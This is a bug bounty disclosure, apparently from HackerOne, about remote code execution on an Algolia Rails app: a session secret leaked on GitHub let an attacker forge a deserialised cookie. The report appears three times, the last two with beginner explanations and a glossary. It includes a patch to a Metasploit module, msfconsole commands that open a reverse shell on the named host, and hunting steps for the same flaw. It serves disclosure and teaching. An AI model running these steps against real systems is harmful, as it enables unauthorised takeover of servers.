RCE on facebooksearch.algolia.com
The session secret for a Rails application was committed to a public GitHub repository, and because the app used CookieStore, an attacker could sign a malicious cookie containing a serialised Ruby object that would execute arbitrary code when deserialised on the server. This allowed remote code execution.
- Triaged in 1 hour
- Fixed in 4 days
- Paid in 4 days
- Disclosed after 5 months
While doing recon on Algolia, I found that the session secret for facebooksearch.algolia.com has been committed to a public GitHub repository. Since the Rails app running at facebooksearch.algolia.com is using CookieStore as the session storage, this means an attacker knowing the session secret can craft any cookie that will then be accepted by the server.
Cookie values are deserialized (unmarshalled) server-side. That combined with knowing the session secret creates the dangerous opportunity for an RCE. The attacker can sign a cookie that contains a Ruby object that evals arbitrary code when it is deserialized on the server side. The concept is explained in depth here: https://charlie.bz/blog/rails-3.2.10-remote-code-execution.
Where did I find the session secret?
I used Gitrob to scan all of Algolia's public repositories (plus repositories from employees) and extract everything that is interesting. The secret_token.rb initializer immediately caught my attention since it usually contains the secret_key_base, which should never be public.
The token can be found here: https://github.com/algolia/facebook-search/commit/f3adccb5532898f8088f90eb57cf991e2d499b49#diff-afe98573d9aad940bb0f531ea55734f8R12
Proof of Concept
@joernchen developed a ready to go proof of concept for this vulnerability and submitted it to the Metasploit Framework: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/rails_secret_deserialization.rb
Since the version of the exploit doesn't take cookies with - into account, here is a small patch to allow the exploit to work on the _facebook-search_session cookie. Here's the patch for the exploit:
if res && !res.get_cookies.empty?
- match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
+ match = res.get_cookies.match(/([_A-Za-z0-9\-]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
end
With that patch applied, you can run the PoC from msfconsole by following these commands:
# setting up
use exploit/multi/http/rails_secret_deserialization
set secret "<grab-from-github-url>"
set rhost facebooksearch.algolia.com
set railsversion 4
set targeturi /auth/facebook
# and then run
exploit
# when successful, a reverse shell will be established
# this allows you to run arbitrary commands
As a proof of concept, I ran id:
id
uid=1000(prod) gid=1000(prod) groups=1000(prod)
But since that is very generic, I also created http://facebooksearch.algolia.com/hackerone.txt with the text "PoC by michiel" to proof regular write access is possible as well.
Remediation
Switch config/initializers/secret_token.rb to use an environment variable (e.g. ENV['SECRET_KEY_BASE']). You must also generate a new token because the current secret is compromised. A new secret can be generated by running rake secret from the command line. Make sure the new secret does not leak in git commit history.
Context
Algolia runs a Rails application at facebooksearch.algolia.com. The report does not describe the feature in more detail than that: it is a Rails app using CookieStore as its session storage. The relevant configuration is that the app uses CookieStore as its session storage, so the session lives in a cookie that the server signs and later deserialises (unmarshals) when it reads the cookie back.
That combination is the whole story. A signed cookie is only trustworthy if the signing secret stays secret. If the secret leaks, the signature stops being a defence, and because the cookie payload is unmarshalled server-side, the attacker controls an object that the Ruby runtime will reconstruct.
Setup
The researcher was doing recon on Algolia's public presence. The tools and preconditions named in the report are:
- Gitrob, used to scan all of Algolia's public repositories plus repositories belonging to employees, and to extract anything interesting.
- A public GitHub repository containing the Rails initializer
secret_token.rb. - The Metasploit module
exploit/multi/http/rails_secret_deserialization, written by @joernchen, which the researcher used as the proof of concept. - A small local patch to that module, because the stock version did not handle cookie names containing
-.
The target cookie is named _facebook-search_session, which is why the patch was needed.
Finding it
Gitrob surfaced a secret_token.rb initializer in Algolia's public repositories. That file immediately caught the researcher's attention because it usually holds secret_key_base, which should never be public. The token was committed to the public repository at this commit:
https://github.com/algolia/facebook-search/commit/[redacted]#diff-[redacted]
With the secret known, the reasoning runs as follows. The app uses CookieStore, so the session is a cookie signed with that secret. Anyone who knows the secret can craft any cookie the server will accept. Cookie values are deserialised (unmarshalled) server-side. An attacker can therefore sign a cookie containing a Ruby object that evaluates arbitrary code when it is deserialised. The report points to an external write-up for the mechanism in depth:
https://charlie.bz/blog/rails-3.2.10-remote-code-execution
Exploitation
Step 1: Patch the Metasploit module for the cookie name
The ready-made exploit is the Metasploit module rails_secret_deserialization. Its cookie parsing regex only accepted cookie names made of [_A-Za-z0-9]+, so it did not match _facebook-search_session. The researcher's patch widens the name character class to include -:
if res && !res.get_cookies.empty?
- match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
+ match = res.get_cookies.match(/([_A-Za-z0-9\-]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
end
The changed part is the first capture group, which now also accepts - in the cookie name. The rest of the pattern is unchanged: it captures the value and the hex signature after --.
Step 2: Configure and run the exploit
With the patch applied, the module is driven from msfconsole:
# setting up
use exploit/multi/http/rails_secret_deserialization
set secret "<grab-from-github-url>"
set rhost facebooksearch.algolia.com
set railsversion 4
set targeturi /auth/facebook
# and then run
exploit
# when successful, a reverse shell will be established
# this allows you to run arbitrary commands
The options set the leaked secret, the target host, the Rails major version (4) and the target URI (/auth/facebook). On success the module establishes a reverse shell, which allows arbitrary commands to be run on the host.
Step 3: Confirm command execution
As a proof of concept the researcher ran id:
id
uid=1000(prod) gid=1000(prod) groups=1000(prod)
The output shows the command ran as the prod user with uid and gid 1000.
Step 4: Confirm write access
Because id output is generic, the researcher also created a file on the target to prove regular write access:
http://facebooksearch.algolia.com/hackerone.txt
The file contained the text "PoC by michiel".
Root cause
The secret_key_base (the session secret) was committed to a public GitHub repository in config/initializers/secret_token.rb. Because the app uses CookieStore, the cookie is the session, and the only thing protecting its integrity is the signature made with that secret. Once the secret is public, the signature provides no protection: the attacker can produce a validly signed cookie of their choosing.
The second half of the problem is that cookie values are deserialised server-side. A signed cookie containing a crafted Ruby object is unmarshalled when the server reads it, and that unmarshalling can evaluate arbitrary code. The report frames this as the combination of a leaked secret and server-side deserialisation creating the opportunity for RCE.
Impact
An attacker who knows the secret can craft a cookie the server accepts, and through deserialisation run arbitrary commands on the server. In this case the researcher demonstrated command execution as the prod user and the ability to create a file on the target. The precondition is the leaked secret; without it the signature would prevent the crafted cookie from being accepted.
Fix
The report's remediation is twofold:
- Stop hardcoding the secret. Switch
config/initializers/secret_token.rbto read it from an environment variable, for exampleENV['SECRET_KEY_BASE']. - Rotate the secret, because the current one is compromised. Generate a new one with
rake secretfrom the command line, and make sure the new secret does not leak into git commit history.
Variants to test
- Scan public repositories and employee repositories for Rails initializers such as
secret_token.rbthat containsecret_key_base. A positive result is a committed secret that matches the target app's signing behaviour. - Check whether the target app uses
CookieStoreand whether its session cookie is signed with a secret you can find. A positive result is a cookie you can re-sign and have accepted by the server. - Try the Metasploit
rails_secret_deserializationmodule against the target. A positive result is a reverse shell or command output from the target. - If the cookie name contains characters the stock module's regex does not accept (such as
-), apply the patch shown above and retry. A positive result is the module parsing the cookie and proceeding to exploitation.
Hunting notes
This kind of bug hides in public source: committed configuration files, initializers and history in repositories belonging to the organisation or its employees. Gitrob is the recon signal here, and a secret_token.rb in a public repo is the thing to look for. The second signal is the session storage: if the app uses CookieStore, the secret is the only thing standing between an attacker and a crafted cookie. To show impact, the researcher did not stop at reading the secret: they ran the exploit, showed id output and created a file on the target.
What happened, in plain words
Algolia ran a small web application at facebooksearch.algolia.com. The report does not describe what the site did beyond that: it was a Rails application, and Rails is a framework for building websites in the Ruby programming language. The important detail is how that site remembered who you were between page loads.
Most websites do this with a session: a small bundle of information the server keeps about your visit, such as whether you are logged in. There are two common ways to store it. The server can keep the session in its own memory or database, or it can hand the whole session to your browser and ask for it back on every request. The second approach is what Rails calls CookieStore: the session is stored inside a cookie, a small piece of text your browser sends back to the site with every request.
Handing the session to the browser has an obvious problem. If the browser can read and change the session, so can anyone who controls the browser. The usual defence is a signature: the server adds a cryptographic stamp to the cookie, computed with a secret key that only the server knows. If someone edits the cookie, the stamp no longer matches, and the server rejects it. The stamp is not encryption; the contents can still be read. It only proves the contents were not changed by anyone who lacks the secret.
That defence collapses if the secret leaks. And that is what happened here: the secret was committed to a public GitHub repository, where anyone on the internet could read it. GitHub is a website where programmers store and share code, and a commit is one saved change to that code.
There is a second half to the story. When the Rails server reads the cookie back, it does not just treat it as plain text. It deserialises it, which means it turns the stored text back into live Ruby objects, the same kind of things the program uses internally. If an attacker knows the signing secret, they can build a cookie containing a specially crafted Ruby object, sign it correctly, and the server will happily rebuild that object. Some Ruby objects, when rebuilt, run code as a side effect. That turns a leaked secret into remote code execution (RCE): the ability to run your own commands on someone else's server.
The vulnerability class here is code injection: the attacker finds a way to make the server treat their data as instructions. The researcher demonstrated it by running a command on the server and by creating a file on the target.
The setup: what the researcher needed
Before any attack, the researcher was doing recon, short for reconnaissance: looking around a company's public footprint for things that should not be public. The report names these tools and preconditions:
- Gitrob, a tool that scans public GitHub repositories and pulls out anything that looks interesting, such as configuration files and secrets.
- A public GitHub repository belonging to Algolia that contained a Rails configuration file called
secret_token.rb. - The Metasploit Framework, a well-known collection of ready-made attack tools, and specifically a module called
exploit/multi/http/rails_secret_deserialization, written by @joernchen, which automates this exact attack. - A small local patch to that module, because the stock version could not handle a cookie name containing a hyphen (
-).
The cookie in question is named _facebook-search_session. The hyphen in that name is why the patch was needed.
Finding the secret
Gitrob surfaced a file called secret_token.rb in Algolia's public repositories. That file caught the researcher's attention immediately, because in a Rails application it usually holds secret_key_base, the very key used to sign session cookies. It should never be public. The secret had been committed to the public repository at this address:
https://github.com/algolia/facebook-search/commit/[redacted]#diff-[redacted]
This is a link to one specific commit in the algolia/facebook-search repository. The long string in the middle identifies the commit, and the #diff-...R12 part points at a particular line in the changed file, line 12. Anyone with a browser could open it and read the secret.
With the secret in hand, the reasoning is short:
- The app uses
CookieStore, so the session is a cookie signed with that secret. - Anyone who knows the secret can produce a cookie with a valid signature, so the server will accept it.
- Cookie values are deserialised on the server, so the cookie can carry a Ruby object.
- A crafted Ruby object can run code when it is deserialised.
Put together, a leaked secret plus server-side deserialisation equals remote code execution. The report points to an external write-up that explains the mechanism in depth:
https://charlie.bz/blog/rails-3.2.10-remote-code-execution
That link is a blog post about this class of bug in Rails 3.2.10. It is background reading, not something the researcher had to run.
Exploitation
Step 1: Patch the Metasploit module for the cookie name
The ready-made exploit is the Metasploit module rails_secret_deserialization. To use it, the module has to read the session cookie the server sends back. It does that with a regular expression, a pattern used to pick pieces out of text. The stock pattern only accepted cookie names made of letters and digits ([_A-Za-z0-9]+), so it did not match _facebook-search_session, which contains a hyphen. The researcher's patch widens the allowed characters to include -:
if res && !res.get_cookies.empty?
- match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
+ match = res.get_cookies.match(/([_A-Za-z0-9\-]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
end
Line by line:
if res && !res.get_cookies.empty?checks that there was a response and that it actually contained cookies. Without a cookie there is nothing to parse.- The line starting with
-is the old pattern, and the line starting with+is the new one. Everything else is identical. res.get_cookies.match(...)searches the cookie text for the pattern.([_A-Za-z0-9]+)is the first capture group, the part that matches the cookie name. In the new version it becomes([_A-Za-z0-9\-]+), so a hyphen is now allowed inside the name. The backslash is how you tell a regular expression that the hyphen is a literal character and not a range marker.=matches the equals sign between the name and the value.([A-Za-z0-9%]*)is the second capture group, the cookie value.--matches the two hyphens that separate the value from the signature.([0-9A-Fa-f]+)is the third capture group, the hexadecimal signature.;matches the semicolon that ends the cookie in the header.
The rest of the pattern is unchanged: it captures the value and the hex signature after --.
Step 2: Configure and run the exploit
With the patch applied, the module is driven from msfconsole, the Metasploit command-line interface:
# setting up
use exploit/multi/http/rails_secret_deserialization
set secret "<grab-from-github-url>"
set rhost facebooksearch.algolia.com
set railsversion 4
set targeturi /auth/facebook
# and then run
exploit
# when successful, a reverse shell will be established
# this allows you to run arbitrary commands
Line by line:
use exploit/multi/http/rails_secret_deserializationselects the module. In Metasploit you first choose a tool, then fill in its settings.set secret "<grab-from-github-url>"supplies the leaked signing secret. The placeholder stands for the value taken from the GitHub commit above.set rhost facebooksearch.algolia.comsets the target host, the machine the exploit will talk to.set railsversion 4tells the module which major version of Rails the target runs, because the details of the attack differ between versions.set targeturi /auth/facebooksets the target URI the module uses.exploitruns the attack.
The comment says that on success a reverse shell is established. A reverse shell is a connection from the victim server back to the attacker's machine that behaves like a command prompt on the victim. The attacker types a command, the server runs it, and the output comes back over that connection. That is what allows arbitrary commands to be run on the host.
Step 3: Confirm command execution
As a proof of concept the researcher ran id:
id
uid=1000(prod) gid=1000(prod) groups=1000(prod)
id is a standard command on Linux and similar systems that reports which user the current process is running as. The first line is the command that was typed. The second line is the output: the user is called prod, its user ID (uid) is 1000, its main group ID (gid) is 1000, and it belongs to the group prod. In plain terms, the researcher proved they could run a command on Algolia's server and read the result.
Step 4: Confirm write access
Because id output is generic, meaning it could in principle come from many machines, the researcher also created a file on the target to prove regular write access:
http://facebooksearch.algolia.com/hackerone.txt
This is a URL on the target site. The researcher created a file called hackerone.txt containing the text "PoC by michiel". Anyone opening that URL in a browser would see the text, which is concrete evidence that the attacker could create files on the server, not just run a single command.
Root cause
The secret_key_base, the session secret, was committed to a public GitHub repository in config/initializers/secret_token.rb. Because the app uses CookieStore, the cookie is the session, and the only thing protecting its integrity is the signature made with that secret. Once the secret is public, the signature provides no protection: the attacker can produce a validly signed cookie of their choosing.
The second half of the problem is that cookie values are deserialised on the server. A signed cookie containing a crafted Ruby object is unmarshalled when the server reads it, and that unmarshalling can evaluate arbitrary code. The report frames this as the combination of a leaked secret and server-side deserialisation creating the opportunity for RCE.
Impact
An attacker who knows the secret can craft a cookie the server accepts, and through deserialisation run arbitrary commands on the server. In this case the researcher demonstrated command execution as the prod user and the ability to create a file on the target. The precondition is the leaked secret; without it the signature would prevent the crafted cookie from being accepted.
Fix
The report's remediation is twofold:
- Stop hardcoding the secret. Switch
config/initializers/secret_token.rbto read it from an environment variable, for exampleENV['SECRET_KEY_BASE']. An environment variable is a setting kept outside the code, in the server's configuration, so it never ends up in a repository. - Rotate the secret, because the current one is compromised. Generate a new one with
rake secretfrom the command line, and make sure the new secret does not leak into git commit history. Rotating means replacing the old key with a fresh one, so that anyone who saw the old one can no longer sign anything the server will accept.
Variants to test
- Scan public repositories and employee repositories for Rails initializers such as
secret_token.rbthat containsecret_key_base. A positive result is a committed secret that matches the target app's signing behaviour. - Check whether the target app uses
CookieStoreand whether its session cookie is signed with a secret you can find. A positive result is a cookie you can re-sign and have accepted by the server. - Try the Metasploit
rails_secret_deserializationmodule against the target. A positive result is a reverse shell or command output from the target. - If the cookie name contains characters the stock module's regex does not accept (such as
-), apply the patch shown above and retry. A positive result is the module parsing the cookie and proceeding to exploitation.
Hunting notes
This kind of bug hides in public source: committed configuration files, initializers and history in repositories belonging to the organisation or its employees. Gitrob is the recon signal here, and a secret_token.rb in a public repo is the thing to look for. The second signal is the session storage: if the app uses CookieStore, the secret is the only thing standing between an attacker and a crafted cookie. To show impact, the researcher did not stop at reading the secret: they ran the exploit, showed id output and created a file on the target.
Glossary
- API: a defined way for one piece of software to talk to another, like a menu of requests a service accepts and the answers it gives back.
- Commit: one saved change to a code repository, with a record of what changed and when.
- Cookie: a small piece of text a website stores in your browser and your browser sends back with later requests, often used to remember who you are.
- CookieStore: the Rails setting that keeps the whole session inside a signed cookie in the browser instead of on the server.
- Deserialisation (unmarshalling): turning stored text back into live objects inside a program; the reverse of serialisation, which turns objects into text.
- Environment variable: a named setting kept outside the source code, in the server's configuration, so it is not committed to a repository.
- Git: the version control system programmers use to track changes to code.
- GitHub: a website for hosting Git repositories, public or private.
- Gitrob: a tool that scans public GitHub repositories for interesting files and secrets.
- Metasploit Framework: a collection of ready-made attack tools with a command-line interface called
msfconsole. - Module: one packaged attack inside Metasploit, selected with
useand configured withset. - Rails: a framework for building web applications in the Ruby programming language.
- RCE (remote code execution): the ability for an attacker to run their own commands on someone else's server over the network.
- Recon (reconnaissance): the information-gathering phase before an attack, looking for public details that should not be public.
- Regular expression (regex): a pattern used to find and extract pieces of text.
- Reverse shell: a connection from the victim server back to the attacker that behaves like a command prompt on the victim.
- Rotate (a secret): replace a key with a fresh one so that anyone who learned the old one can no longer use it.
- Ruby: the programming language Rails is written in.
- Secret key base (
secret_key_base): the secret key Rails uses to sign session cookies; if it leaks, anyone can forge valid cookies. - Session: the information a website keeps about your visit, such as whether you are logged in.
- Signature: a cryptographic stamp added to data, computed with a secret key, so the server can tell whether the data was changed.
- uid / gid: the numeric user ID and group ID that identify which account a process runs as on a Linux system.
- Web root: the folder on a web server whose files are served to visitors.